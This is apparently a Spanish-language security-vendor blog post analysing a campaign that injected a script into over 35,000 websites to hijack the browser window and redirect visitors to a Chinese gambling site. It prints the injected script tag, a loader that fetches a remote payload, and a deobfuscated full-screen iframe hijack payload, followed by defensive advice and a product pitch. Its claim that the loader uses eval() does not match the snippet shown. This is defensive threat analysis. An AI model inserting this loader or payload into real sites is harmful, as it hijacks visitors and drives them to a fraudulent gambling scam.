Skip to main content
Blog
Blog Attacks

Más de 35.000 sitios web atacados en un secuestro de página completa que redirige a una estafa de juego en chino

Una nueva campaña de malware ha comprometido más de 35.000 sitios web, inyectando un script malicioso desde los dominios que se indican a continuación. Una vez que el script se carga, secuestra por completo la ventana del navegador del usuario, redirigiendo frecuentemente a páginas que promocionan una plataforma de juego (o casino) en idioma chino.

Feb 20, 2025 6 min read
+35000-sites-attacked-image-cover

Una nueva campaña de malware ha comprometido más de 35.000 sitios web, inyectando un script malicioso desde los dominios que se indican a continuación. Una vez que el script se carga, secuestra por completo la ventana del navegador del usuario, redirigiendo frecuentemente a páginas que promocionan una plataforma de juego (o casino) en idioma chino.

El ataque parece estar dirigido a regiones donde el mandarín es habitual, o bien originarse en ellas, y las páginas de destino finales presentan contenido de juego bajo la marca "Kaiyun".

Lista de Indicadores de Compromiso (IoCs):

¿Has encontrado redirecciones similares o nuevos IoCs? Compártelos o ponte en contacto con nuestro equipo. Combinando datos, podemos identificar y desmantelar amenazas en evolución con mayor rapidez.

Todos los sitios enlazados arriba muestran el siguiente mensaje:

Traducción:

¡Felicidades, el sitio se creó correctamente! Este es el index.html predeterminado. Esta página es generada automáticamente por el sistema. Esta página es index.html en el directorio raíz de FTP. Puedes modificar, eliminar o sobrescribir esta página. Para información relacionada con FTP, ve a "Panel del sistema > FTP" para consultarla.

El proceso de infección

Como ejemplo, analizamos zuizhongjs[.]com.

Los atacantes insertan una etiqueta <script> de una sola línea que referencia zuizhongjs[.]com directamente en los archivos del sitio (por ejemplo, en el <head> o al final del <body>). A continuación se muestra un ejemplo del código inyectado:

<script language="javascript"
        src="https://www.zuizhongjs[.]com/js/24/12/7/ky1.js"
        type="text/javascript"></script>

Cargador ofuscado

Dentro del archivo cargado, los atacantes utilizan un fragmento de JavaScript que escribe otro elemento script para obtener malware adicional:

;(function(o, q, f, e, w, j) {
    w = q.createElement(f);
    j = q.getElementsByTagName(f)[0];
    w.async = 1;
    w.src = e;
    j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);

El código anterior utiliza concatenación de cadenas y eval() para ocultar su verdadero propósito. Inyecta una nueva etiqueta <script> que descarga el payload principal desde el mismo dominio malicioso.

Payload principal (desofuscado)

A continuación se muestra una versión simplificada del script principal, con las funcionalidades clave:

function isMobile() {
    return navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i) ? true : false;
}

var url = "https://www.zuizhongjs[.]com/go/kaiyun1/ky.html";

function getIosVersion() {
    var str = navigator.userAgent.toLowerCase();
    var ver = str.match(/cpu iphone os (.*?) like mac os/);
    return ver ? parseInt(ver[1].slice(0,2)) : false;
}

var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);

function randomNum(minNum, maxNum) {
    return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10);
}

const time = randomNum(500, 1000);
console.log(time);

document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src="' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');

Conclusiones clave

  1. Detección de dispositivo
    • Utiliza funciones como isMobile(), getIosVersion() e isIOS para adaptar el payload a dispositivos o sistemas operativos específicos.
  2. Retardo aleatorio
    • randomNum(500, 1000) introduce un retardo de entre 500 y 1000 ms para evadir el análisis automatizado o la detección en entornos sandbox.
  3. Secuestro a pantalla completa
    • El código inyecta un <div> y un <iframe> que cubren completamente la página, reemplazando todo el contenido original.
  4. URL ofuscada
  5. Redirección final

Los atacantes parecen canalizar el tráfico hacia un sitio de juego en chino (o casino) que opera bajo la marca "Kaiyun".

Durante nuestro análisis, identificamos algunas variantes en los sitios infectados:

Algunas IPs o regiones ven una página que indica que el acceso está bloqueado. En ella se indica a los usuarios que contacten con un correo electrónico o con el "soporte en línea", posiblemente para filtrar a investigadores de seguridad o reducir el tráfico no deseado.

Posible conexión con el exploit de Megalayer

Nuestro análisis sugiere que esta campaña podría estar relacionada con el exploit de Megalayer, conocido por distribuir malware en idioma chino. Los indicios incluyen:

  • Localización: Texto en chino y referencias a audiencias de habla mandarín.
  • Patrones de dominio: La estructura de zuizhongjs[.]com, junto con múltiples dominios de redirección que utilizan .vip u otros TLDs favorecidos por ciertos actores de amenazas.
  • Tácticas de ofuscación: URLs con escapes Unicode, retardos basados en código, etc.

Cómo proteger tu sitio web

El proxy de cside analiza el payload de cada solicitud de script en tiempo real. Si un script intenta cargar una versión maliciosa, lo detectamos, bloqueamos su carga y alertamos a tu equipo.

cside ya ha bloqueado este ataque para sus usuarios, ofreciendo análisis en tiempo real y defensa proactiva. Si sospechas que tu sitio está infectado, contacta de inmediato con tu proveedor de seguridad o de alojamiento.

  1. Audita tu código fuente
    • Revisa tus archivos HTML, archivos de tema y plantillas del CMS en busca de etiquetas <script> no autorizadas que referencien zuizhongjs[.]com u otros dominios igualmente sospechosos.
  2. Bloquea los dominios maliciosos
    • Utiliza reglas de firewall o bloqueo a nivel DNS para: zuizhongjs[.]com
    • p11vt3[.]vip (y subdominios asociados)
  3. Monitoriza los registros en busca de solicitudes salientes inesperadas hacia estos dominios.
  4. Comprueba si hay modificaciones no autorizadas
    • Revisa periódicamente tu cuenta de alojamiento o utiliza un verificador de integridad de archivos.
    • Cualquier cambio inexplicable en los archivos principales podría indicar una puerta trasera o un punto de inyección.
  5. Content Security Policy (CSP)
    • Restringe los scripts únicamente a dominios de confianza mediante una CSP bien definida.
    • Impide que se carguen scripts en línea y fuentes desconocidas.
  6. Análisis frecuentes del sitio
    • Herramientas como PublicWWW o URLScan pueden detectar inyecciones maliciosas a gran escala.

La campaña de malware ZuizhongJS demuestra cómo un único script inyectado puede secuestrar miles de sitios web, redirigiendo a usuarios desprevenidos hacia portales de juego en idioma chino. La presencia de logotipos de clubes de fútbol conocidos y referencias deportivas sugiere un intento de aparentar legitimidad, pero toda la operación parece carecer de licencia o ser directamente fraudulenta.

  • Propietarios de sitios web: Elimina cualquier script inyectado, bloquea los dominios maliciosos y refuerza tu configuración de seguridad para evitar reinfecciones.
  • Investigadores de seguridad: Se necesita una investigación más profunda para confirmar el vínculo con Megalayer, identificar los métodos exactos de infiltración (por ejemplo, plugins de CMS vulnerables, credenciales robadas) y rastrear dominios adicionales.

cside ha detectado y bloqueado este ataque con éxito. Si te preocupa una posible infección, nuestro sistema puede ofrecerte análisis en tiempo real y defensa proactiva.

Reserva una llamada o demo o regístrate ahora.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitoriza y Asegura tus Scripts de Terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comienza gratis, o prueba Business con una prueba de 14 días.

Interfaz del panel de cside mostrando monitorización de scripts y análisis de seguridad
Related Articles
Reservar una demo